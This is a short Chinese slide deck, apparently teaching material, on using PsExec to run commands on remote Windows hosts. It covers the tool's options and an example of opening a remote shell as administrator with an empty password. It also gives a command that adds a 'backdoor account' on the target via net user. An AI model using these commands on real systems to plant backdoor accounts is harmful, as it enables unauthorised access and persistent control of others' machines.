远程命令执行-附件.pptVIP

远程命令的执行 能够远程执行命令，也就完全控制了远程主机。使用Telnet执行远程命令就是其中一种主要方法。 使用工具PSEXEC可以不用Telnet实现远程命令的执行。 使用方法PSEXEC \\computer [-u user][-p password][-s][-i][-c][-f][-d] cmd [arguments] PSEXEC参数说明 -u 登陆远程主机的用户名 -p 登陆远程主机的密码 -i 与远程主机交互执行 -c 拷贝本地文件到远程主机系统并执行 -f 拷贝本地文件到远程主机系统目录并 执行，如果远程主机已经存在该文件，则覆盖 -d 不等待程序结束 PSEXEC使用实例一 通过PSEXEC实现与Telnet登录同样的功能 使用命令psexec \\192.168.0.106 –u administrator –p “” cmd PSEXEC使用实例二 使用PSEXEC，将本地可执行程序拷贝到远程主机执行 PSEXEC使用方式说明 如果要在远程主机建立后门帐号，可以使用命令psexec \\192.168.0.106 –u administrator –p “” net user abc abc /add 如果将本地文件拷贝到远程主机并执行过程中，远程主机存在同名文件，则使用-f选项 -i选项一般不使用，否则在本地执行的命令远程主机也能看到